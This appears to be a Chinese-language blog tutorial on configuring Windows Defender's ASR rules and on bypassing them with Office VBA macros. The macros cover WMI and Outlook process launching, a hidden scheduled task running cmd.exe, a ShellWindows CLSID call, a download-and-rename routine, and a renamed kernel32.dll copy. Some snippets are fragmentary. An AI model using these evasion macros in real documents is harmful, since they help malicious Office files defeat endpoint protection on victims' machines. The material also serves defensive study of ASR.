關於宏的bypass學習

2020-12-13 湖南蟻景

前言

在去年的off大會上安全研究員sevagas做了關於宏繞過ASR的相關議題,本人對此很感興趣,在此記錄一下自己的學習過程。

什麼是ASR

ASR是Attack surface reduction的簡稱,內置與win10的1709版本之後和server2016的版本中,微軟官方給出的解釋是:

「Attack surface reduction is a feature that helps prevent actions and apps that are typically used by

exploit-seeking malware to infect machines.」

大體意思就是通過配置攻擊面減少規則,可以保護計算機不被惡意軟體、代碼攻擊。它主要可以防護下面幾個方面:

Malicious Office documentRogue USB deviceDrive by downloadMalicious APK in store合天網安實驗室體驗相關實驗:Windows server 2016 配置DNS伺服器

配置ASR

我們可以在運行中輸入gpedit.msc打開組策略編輯器,然後在組策略管理編輯器中, 轉到 "計算機配置", 然後單擊 "管理模板",然後以此選擇:

Windows 組件 > Windows Defender 防病毒 > Windows Defender 攻擊防護 > 攻擊面減少

即可看到我們的ASR管理頁面。

ASR規則,有下面三種模式,分別是:

未配置:禁用 ASR 規則阻止:啟用 ASR 規則審核:評估 ASR 規則對您的組織的影響(如果已啟用)分別對應數字0、1、2

我們可以使用下面的powershell命令來設置對應的規則:

Add-MpPreference -AttackSurfaceReductionOnlyExclusions "<fully qualified path or resource>"

也可以使用界面化的操作。ASR的規則使用GUID來標識相關信息,GUID如下:

配置完的ASR規則,可以在下面的註冊表中找到:

Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Group Policy

Objects\{5B492C3C-4EAB-494D-B7DDF0FB0FD3A17D}Machine\Software\Policies\Microsoft\Windows Defender\Windows

Defender Exploit Guard\ASR\Rules

HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Windows Defender Exploit

Guard\ASR\Rules\d1e49aac-8f56-4280-b9ba-993a6d77406c

\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Group Policy

Objects\{9CC79454-DCDF-422D-A24C81990D96B449}Machine\Software\Policies\Microsoft\Windows Defender\Windows

Defender Exploit Guard\ASR\Rules

配置完之後,在事件管理器中導入以下xml文件:

<QueryList>

<Query Id="0" Path="Microsoft-Windows-Windows Defender/Operational">

<Select Path="Microsoft-Windows-Windows Defender/Operational">*[System[(EventID=1121 or EventID=1122 or EventID=5007)]]</Select>

<Select Path="Microsoft-Windows-Windows Defender/WHC">*[System[(EventID=1121 or EventID=1122 or EventID=5007)]]</Select>

</Query>

</QueryList>

即可在時間查看器內看到我們ASR的響應事件。

bypassASR

基礎繞過

我們先導入以下ASR規則:

我們以下面的這個宏代碼為例:

當我們運行這個宏的時候,就會被ASR規則所攔截

攔截的規則為:

因為我們調用了WScript.Shell這個對象來運行一個程序,所以導致被攔截了,但是,宏中不只這一種方法調用外部程序,我們還可以使用wmi對象,代碼如下:

此時我們再運行宏,我們的攔截規則已經變成了d1e49aac-8f56-4280-b9ba-993a6d77406c 說明D4F940AB-401B-4EFC-AADC-AD5F3C50688A規則我們已經繞過了。

沒關係,除了wmi,我們還可以使用outlook對象進行調用,代碼如下:

此時我們再運行宏,我們的攔截規則已經變成了26190899-1602-49e8-8b27-eb1d0a1ce869 說明d1e49aac-8f56-4280-b9ba-993a6d77406c規則已經被繞過了。

那麼,怎麼全部繞過呢?我們還可以使用計劃任務,在宏裡面提供了Schedule.Service對象,它允許我們創建一個計劃任務出來,代碼如下:

Set service = CreateObject("Schedule.Service")

Dim Action

Set Action = taskDefinition.Actions.Create(ActionTypeExec)

Action.Path = Split("cmd.exe"," ")(0)

Action.HideAppWindow = True

Call rootFolder.RegisterTaskDefinition("System Timer T",taskDefinition,6,,,3)

Application.Wait Now + TimeValue("0:00:01")

Call rootFolder.DeleteTask("System Timer T",0)

執行宏ASR無反應,此時上面的三個規則已被我們繞過。上面我們調用com對象的方法都是使用CreateObject, ShellExecute等除了上面的幾個方法之外我們也可以用com的CLSID進行操作。clsid是微軟標識COM類對象的全局唯一標識符。如果伺服器或容器允許連結到其嵌入式對象,則需要為每種受支持的對象類註冊一個CLSID。默認在

裡面,所以也就是說我們使用clsid的前提也是這個clsid已經在系統中註冊了,而且因為clsid的特性(可執行相應程序操作),所以我們可以用來來bypassASR:

Const ShellWindows = _

"{9BA05972-F6A8-11CF-A442-00A0C90A8F39}"

Set SW = GetObject("new:" & ShellWindows).Item()

SW.Document.Application.ShellExecute "calc.exe", Null, "C:\Windows\System32", Null, 0

其他ASR繞過

這個規則是攔截宏在文件系統中保存和執行文件的規則。比如關鍵字「saveas」

繞過也比較簡單:

ub Download(myurl As String , realPath As String)

Dim downloadPath As String

downloadPath = Environ("TEMP") & "\\" & "acqeolw.txt"

Set WinHttpReq = CreateObject("MSXML2.ServerXMLHTTP.6.0")

WinHttpReq.Send

If WinHttpReq.Status = 200 Then

Set oStream = CreateObject("ADODB.Stream")

oStream.SaveToFile downloadPath, 2

oStream.Close

renameCmd = "C:\windows\system32\cmd.exe /C move" & downloadPath & " " & realPath

RDS_DataSpaceExec renameCmd

Application.Wait Now + TimeValue("0:00:01")

End If

End Sub

大體思路就是改變關鍵字,敏感文件更名。

92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7B

這個規則防止程序對win32的調用:

比如下面的代碼:

Private Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Sub Workbook_Open()

Sleep 2000

WscriptExec "notepad.exe"

End Sub

Sub WscriptExec(targetPath As String)

CreateObject("WScript.Shell").Run targetPath ,1

End Sub

繞過方法跟上面類似,更名、該位置:

Private Declare PtrSafe Sub Sleep Lib "k32.dll" (ByVal dwMilliseconds As Long)

Sub Workbook_Open()

WscriptExec("cmd.exe /C copy /b C:\windows\system32\kernel32.dll " & Environ("TEMP") & "\k32.dll")

CreateObject("WScript.Shell").currentdirectory = Environ("TEMP")

Sleep 2000

WscriptExec "notepad.exe"

End Sub

Sub WscriptExec(targetPath As String)

CreateObject("WScript.Shell").Run targetPath ,1

End Sub

D3E037E1-3EB8-44C8-A917-57927947596D

這個是攔截vb或者js執行下面的內容的規則:

不過這個規則有一些問題,總是被asmi攔截,繞過方法如下圖:

或者:

這個是攔截wmi和psexec調用的規則:

不過貌似也有一些問題:

好像只攔截服務。繞過方法:

後話

bypass之路自然不止這些,向UAC、ASMI等的繞過,路還有很長。

相關焦點

  • 從一道CTF題目學習bypass disable_functions
    今天我們從一道CTF題目學習一下怎麼繞過disablefunction的限制。發現根目錄下的 flag為空,存在 readflag程序,因為無法執行系統命令所以無法進行讀取 flag,所以這裡需要bypass disablefunc。尋找可寫入權限的目錄,並上傳我們的之前準備好的bypassdisablefunc.so和bypassdisablefunc.php上傳。
  • The establishment of cardiopulmonary bypass(2)
    Although desirable, placement of pursestrings is not an essential maneuver before cannulation, and in the emergent situation cannulae can be placed and held in position to initiate bypass,with placement
  • 燃油濾旁通燈 Fuel Filter Bypass Light(s)
    關於此類備降的信息已經加入描述章節。 Description 描述 In recent years, there has been an increase in the number of diversions caused by fuel FILTER BYPASS indications.
  • 宏如何使用?--excel的學習
    如果你已經用excel很長時間了,那麼您一定聽過宏這個名稱,很多人都不知道宏是用來幹什麼的,今天我們就來了解一下excel中宏的作用與幫助,如果您經常在excel中重複一個任務,那就可以用宏來自動執行該任務了。
  • 如何在Excel中更好地隱藏惡意宏代碼
    如何在Excel中更好地隱藏惡意宏代碼 你可能會問,為什麼不簡單地使用實際上不涉及工作簿的代碼,以及主要原因是避免網絡流量。當然,你可以簡單地添加宏,這些宏會將每行代碼添加到一個新文件中,以避免網絡流量,但是這樣做會使活動對於任何分析文檔的人來說都是顯而易見的,他們會在查看時立即看到新的代碼行宏。使用這種方法,它使得對惡意文檔的分析稍微困難一些,但是當然不是很多。
  • 鞋圈最簡單有效的bypass技巧你還不會?
    今天民潮資訊就以ys官網為例,講解一下這個叫做bypass書籤的手動技巧。注意不要點擊下訂單、第四部把當前頁面添加為書籤,然後關掉瀏覽器第五步重新進入ys官網,會發現右上角還保存著剛剛加車的商品,這時候把購物車中的商品刪除第六步重新打開ys網站,測試bypass
  • 關於宏程序在切削參數設定中的運用案例
    有人要求編寫一個關於主軸限速的報警宏程序!其實這個和工件計數報警是一樣的概念,你只要知道主軸轉速所對應的系統變量即可,然後設置一個轉速限制,通過循環控制即可!比如在數控車床中G96G97的概念,當你使用G96時是必須要進行一個換算的,同理在數控銑床中,我們何不可以編制一個宏來自動計算主軸的轉速,以及主軸轉速的限速報警呢?例1:編制主軸轉速的換算宏程序假設,採用直徑為10mm的立銑刀,切削速度為60m/s,主軸的轉速是多少?
  • KPP-less及KPP Bypass是用途iOS10~iOS11越獄工具與問題
    LiberiOSLiberiOS 是一款新型的越獄工具,它並不是靠KPP bypass,而使用KPP-less,同樣達到可以我們需要的效果,並不斷會執行守護進程(daemon),將它們改變後就可以注入至iOS系統內,不過這也會造成Cydia 與Substrate 原本都是依照KPP bypass而執行,所以就需要等待Saurik 特地針對
  • 清晨朗讀341:How to Bypass Resistance
    這裡有純正又充滿磁性的美音,這裡有多樣化的學習素材(目前推送300多篇不同類型英文材料),這裡已經有超過六萬充滿激情的英語學習者,這裡更是共同進步,實現夢想的出發點和加油站!關注清晨朗讀會,跟我一起讀,讓優美的晨讀開啟你充滿希望的每一天!Good morning!今天的練習內容來自Steve Pavlina,是關於resistance。
  • 一起認識Excel中的「宏」(上)——錄製宏
    公眾號「Excel基礎學習園地」是一個免費發布Excel基礎知識、函數應用、操作技巧、學習方法等資訊的公眾號,請點擊上方
  • 宏享辦公家具說說關於辦公沙發選購的那些事兒
    宏享辦公家具辦公沙發是辦公室內不可缺少的辦公家具,而合適的辦公沙發不僅舒適好用還具有一定的美觀性呢,這樣對企業的整體形象也是有著一定好處,那麼如何才能選購到合適的辦公沙發呢?接下來就跟著宏享辦公家具小編一起來了解一下關於辦公沙發選購方面的問題吧。
  • 去耦電容和bypass電容、濾波電容的原理和區別
    本文引用地址:http://www.eepw.com.cn/article/201710/368863.htm  在這裡我們主要給大家介紹bypass電容(旁路電容)與去耦電容、濾波電容、儲能電容的區別,這在電子設計中非常重要。  去耦電容與旁路電容有什麼區別?
  • 如何錄製宏及如何利用已經錄製好的宏
    xlsm分享成果,隨喜正能量VBA的應用範圍及學習方法:VBA是利用Office實現個人小型辦公自動化的有效手段(工具)。這是我對VBA的應用界定。在取代OFFICE新的辦公軟體沒有到來之前,誰能在數據處理方面做到極致,誰就是王者。
  • NetTAP新一代智能BYPASS保護器
    無論採取主動或被動方式時,都需被保護設備安裝相應的第三方軟體通過USB接口或串口來請求或應答心跳報文,並且傳統Bypass交換機都是基於非標準心跳協議,面對不同的被保護設備時,還需要定製開發Bypass的心跳協議,因此大幅度的降低了設備的易用性和可操作性,同時傳統的bypass交換機心跳檢測配置複雜繁瑣,也常常因人為配置錯誤,導致心跳檢測誤判故障,從而錯誤的切換bypass,對用戶網絡造成致命的影響
  • 常用宏表函數
    什麼是宏表函數?有哪些宏表函數?都有什麼功能?為什麼要學習它呢? 宏表函數是個「老古董」,實際上是現在廣泛使用的VBA的「前身」。雖然後來的各版本已經不再使用它,但還能支持。宏表函數的最「原始」的使用是要建立一個「宏表」(類似於現在的VBE),在宏表中寫下宏代碼,然後運行之。
  • 想學透數控宏程序?這套數控宏編程教程就能滿足你!
    (以下內容摘自《跟清風學數控宏程序編程》教程)如想學習完整版,請拉到文尾加入課程從事數控的你該聽說過數控宏程序,不管是 以上已經詮釋了變量,賦值等最基本的宏程序概念。大家明白即可! 下面講宏語句,關於宏語句將伴隨著所有學習宏程序的人。所以一定要理解透徹!IF…..GOTO語句直觀意思是:如果...就跳轉到哪(或者是做什麼事)。
  • 山東宏創鋁業控股股份有限公司關於監事會換屆選舉的公告
    代碼:002379 股票簡稱:宏創控股公告編號:2019-051  山東宏創鋁業控股股份有限公司關於監事會換屆選舉的公告  本公司及監事會全體成員公司章程》的有關規定,公司於2019年9月24日召開第四屆監事會2019年第三次臨時會議,審議通過了《關於公司監事會換屆選舉的議案
  • 《魔獸世界》8.0火法宏玩法詳解 火法宏怎麼用
    導 讀 魔獸世界8.0火法宏怎麼用?
  • 魔獸世界滑鼠光柱宏怎麼寫 滑鼠光柱宏分享
    魔獸世界滑鼠光柱宏怎麼寫 滑鼠光柱宏分享 發布時間:20-12-02 16:38 來源:NGA 作者:NGA
  • 使用BurpSuite宏獲取CSRF-TOKEN
    除了暴力破解,BurpSuite宏也可以用於其他測試,不過最終目的都是一致的,使我們更加快捷,專注於挖掘信息和滲透上,而不是在重複的工作中上浪費時間。0X02 開始下面以一個簡單例子來做個說明。目標網站如下,頁面存在一個圖片驗證碼,題目要求暴力破解得到帳號密碼。這題可以有多種方式實現,這裡以burpsuite宏進行實驗。